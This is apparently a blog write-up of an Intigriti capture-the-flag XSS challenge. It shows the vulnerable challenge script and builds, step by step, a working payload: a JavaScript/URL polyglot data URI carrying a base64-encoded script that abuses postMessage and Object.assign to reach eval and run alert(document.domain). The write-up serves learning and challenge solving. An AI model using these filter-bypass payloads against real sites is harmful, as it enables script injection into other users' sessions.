Spoiler alert: this is a write-up for the XSS challenge that you can find on Intigriti. If you haven’t done it yet and may want to in the future, you definitely don’t want to read this right now.

As I utterly failed the last CTF ran by Intigriti, when I came across this tweet I thought it was time to prove to myself I could do it.

I’m not exactly fond of Javascript or an expert in any way, but this time I beat the challenge!
And I’ll show you the pain and frustration that went into it :D

So looking at the source of the challenge, we can see that there seems to be nothing going on with the HTML and that it’s probably a DOM XSS.

<!-- challenge -->
  <script>
  const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
  const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
  iframe.onload = function(){ window.addEventListener("message", executeCtx, false);}
  function executeCtx(e) {
    if(e.source == iframe.contentWindow){
      e.data.location = window.location;
      Object.assign(window, e.data);
      eval(url);
    }
  }
  </script>
<!-- challenge -->

It constructs a new URL from the fragment part of the URL we use to access the challenge. Strings like script, < and > are filtered out and replaced by forbidden.
Next it opens a iframe using the new URL and adds an onload listener that adds an onmessage listener when the iframe has loaded. The onmessage listener runs executeCtx().
I’ll get back to that part later because I got confused a bit there. Just know that message is an event that can be triggered by a postMessage() call from another windows.
As for the executeCtx() function, it checks that source of the event is the same window as the one the iframe is loaded in.
If it’s the case it adds a location property to the event data with the current location. It merges the data event object onto the window object.
And then it runs eval() on the URL generated at the first step.

So we can speculate that we need to reach that eval() call with a payload containing some form of alert(document.domain).

The first thing was to run executeCtx() and get to eval(). I initially thought that the onload listener was added to the iframe and then that inside the listener function window was referring to the iframe itself. I spinned up a web server with a small index.html with the following content in order to load it in the iframe:

<html>
  <head>
    <title>MyFrame</title>
  </head>
  <body>
    <script>
     function sleep(ms) {
        return new Promise(resolve => setTimeout(resolve, ms));
      }

      async function poc() {
        await sleep(2000);
        window.postMessage('test', '*');
      }

      poc();
    </script>
  </body>
</html>

I spent some time debugging and wondering why executeCtx was never run.
So I read up on iframe, onload and postMessage and found out that iframe.onload defines an onload listener on the iframe object in the original window.
What was happening was in fact the reverse of what I was thinking…

I just changed my poc() function to:

async function poc() {
  await sleep(2000);
  parent.postMessage('test', '*');
}

And sure enough, executeCtx() was triggered.

But now I was stuck on the event source comparison: e.source was a Window object and iframe.contentWindow a global object.

Having no idea which way to go I tried to solve another part of the problem: how to make eval() run my code.
My first thought was that I’d need a URL that can be both a valid URL and valid Javascript. And I thought I already had it because I came across something similar to pull off an XSS on my first bug bounty submission. I also found this blog post that confirmed it looked like a good idea.
But it involved alternative newline characters and, although I spent a lot of time trying to get one past the new URL() call, I didn’t manage to.
Searching some more, I used the polyglot term instead of just eval, js and url, and came across a GitHub repository where the first example was just what I needed:

#JS/URL polyglot"
data:text/html;alert(1)/*,<svg%20onload=eval(unescape(location))><title>*/;alert(2);function%20text(){};function%20html(){}

If we look at it like an URI we can see:

  • a scheme: data:
  • a media-type: text/html
  • what is supposed to be the base64 indicator: ;alert(1)/*
  • a separator: ,
  • data itself: <svg%20onload=eval(unescape(location))><title>*/;alert(2);function%20text(){};function%20html(){}

Then as a Javascript:

  • a label: data:
  • a statement: text/html;
  • another statement with a comment: alert(1)/*,<svg%20onload=eval(unescape(location))><title>*/;
  • yet another statement: alert(2);
  • 2 function declarations: function%20text(){};function%20html(){}

When that URI is loaded in a browser, it will render the following HTML:

<svg onload=eval(unescape(location))>
    <title>*/;alert(2);function%20text(){};function%20html(){}

The onload attribute of the svg element will trigger and run eval() on an unescaped version of the data URI itself.
The 2 function declarations will be evaluated before any code is executed so the text/html; statement is evaluated as 0/0; and is valid.
Then both alert() calls are executed.
You can try it by yourself but check the URL before clicking it if you don’t trust me :)

So where did I go with that?
I had a string that can be both a valid URI and valid Javascript. But as it was, it wouldn’t pass the filter unarmed because of the < and > characters.
I went back to the specs of a data URI and noticed that the data itself could be base64 encoded. Base64 doesn’t use any forbidden character, therefore it would pass the filter.

I changed the payload to display document.domain and simplified it a bit to:

data:text/html;alert(document.domain)/*,<svg%20onload=eval(unescape(location))><title>*/;function%20text(){};function%20html(){}

And used base64:

data:text/html;alert(document.domain);//;base64,PHN2ZyUyMG9ubG9hZD1ldmFsKHVuZXNjYXBlKGxvY2F0aW9uKSk+PHRpdGxlPiovO2Z1bmN0aW9uJTIwdGV4dCgpe307ZnVuY3Rpb24lMjBodG1sKCl7fS8v

Notice that I also had to change /*, to ;//;base64, This is how I went about it:

  • original: data:text/html;alert(1)/*,<svg%20on...
  • display document.domain: data:text/html;alert(document.domain)/*,<svg%20on...
  • add the base64 indicator: data:text/html;alert(document.domain)/*;base64,<svg%20on...
  • convert the payload to base64: data:text/html;alert(document.domain)/*;base64,PHN2Z...
  • add a Javascript statement terminator because we’re missing it now as it was in the payload: data:text/html;alert(document.domain);/*;base64,PHN2Z...
  • change the comment from /* to // as it wasn’t executing the payload: data:text/html;alert(document.domain);//;base64,PHN2Z...

That time it passed the filter. Now I needed to make the iframe it created to call back to its parent window with postMessage. I changed the data to:

<script>parent.postMessage("test","*");</script>

The data URI became:

data:text/html;alert(document.domain);//;base64,PHNjcmlwdD5wYXJlbnQucG9zdE1lc3NhZ2UoInRlc3QiLCIqIik7PC9zY3JpcHQ+

It ran the executeCtx() function and entered the conditional.
But it failed on Object.assign(window, e.data); because e.data was not an object. I fixed that:

<script>parent.postMessage({},"*");</script>

The data URI became:

data:text/html;alert(document.domain);//;base64,PHNjcmlwdD5wYXJlbnQucG9zdE1lc3NhZ2Uoe30sIioiKTs8L3NjcmlwdD4=

It reached the eval() but errored because of Uncaught ReferenceError: text is not defined.
That’s what the 2 function declarations in the initial polyglot data URI were for: to make the text/html; statement valid.
In my case, I couldn’t use that trick because it would be evaluated in the iframe while eval() ran in the parent window. But using that Object.assign() call, I could set any properties on window. And that’s the way global variables are set in Javascript.
That was my last iteration and the final payload ended up being:

<script>parent.postMessage({text:0,html:0},"*");</script>

The data URI became:

data:text/html;alert(document.domain);//;base64,PHNjcmlwdD5wYXJlbnQucG9zdE1lc3NhZ2Uoe3RleHQ6MCxodG1sOjB9LCIqIik7PC9zY3JpcHQ+

If you want to check for yourself: just click here, no funny business :)

As I said, it was a hard challenge for me and I’m real proud to have beaten it. I worked the whole evening on that and, as you’ve probably guessed, a lot of it was spent reading up about Javascript. In the end, I learned a lot about it and I’m more comfortable with it now. I’m in fact eager to take on the next challenge!
Now the cherry on the cake would be to be picked and win the prize :)

Some take-aways from this, as usual:

  • Read the specs/documentation, they are the closest thing we have to the truth about things work. Even if you think you understand how it works RTFM.
  • Level-up your research skills, that can make the difference between hours spent on Google and finding that one gem that may help you out.